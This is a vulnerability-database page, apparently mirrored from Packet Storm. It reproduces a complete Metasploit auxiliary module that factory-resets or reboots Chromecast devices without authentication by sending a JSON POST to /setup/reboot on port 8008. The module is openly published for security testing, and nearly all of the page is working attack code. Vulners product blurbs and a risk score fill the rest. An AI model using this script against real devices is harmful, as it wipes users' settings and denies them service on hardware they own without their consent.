Lucene search
K

Chromecast Factory Reset Denial Of Service

🗓️ 31 Aug 2024 00:00:00Reported by Jay Turla, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 138 Views

Chromecast Factory Reset Denial Of Service. Perform factory reset on Chromecast without user authenticatio

Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Chromecast Factory Reset DoS',  
'Description' => %q{  
This module performs a factory reset on a Chromecast, causing a denial of service (DoS).  
No user authentication is required.  
},  
'Author' => ['wvu'],  
'References' => [  
['URL', 'http://www.google.com/intl/en/chrome/devices/chromecast/index.html'] # vendor website  
],  
'License' => MSF_LICENSE,  
'Actions' => [  
['Reset', 'Description' => 'Factory reset'],  
['Reboot', 'Description' => 'Reboot only']  
],  
'DefaultAction' => 'Reset'  
))  
  
register_options([  
Opt::RPORT(8008)  
])  
end  
  
def run  
case action.name  
when 'Reset'  
res = reset  
when 'Reboot'  
res = reboot  
end  
  
if res && res.code == 200  
print_good("#{action.name} performed")  
elsif res  
print_error("An error occurred: #{res.code} #{res.message}")  
end  
end  
  
def reset  
begin  
send_request_raw(  
'method' => 'POST',  
'uri' => '/setup/reboot',  
'agent' => Rex::Text.rand_text_english(rand(42) + 1),  
'ctype' => 'application/json',  
'data' => '{"params": "fdr"}'  
)  
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,  
Rex::HostUnreachable => e  
fail_with(Failure::Unreachable, e)  
ensure  
disconnect  
end  
end  
  
def reboot  
begin  
send_request_raw(  
'method' => 'POST',  
'uri' => '/setup/reboot',  
'agent' => Rex::Text.rand_text_english(rand(42) + 1),  
'ctype' => 'application/json',  
'data' => '{"params": "now"}'  
)  
rescue Rex::ConnectionRefused, Rex::ConnectionTimeout,  
Rex::HostUnreachable => e  
fail_with(Failure::Unreachable, e)  
ensure  
disconnect  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Aug 2024 00:00Current
7.4High risk
Vulners AI Score7.4
138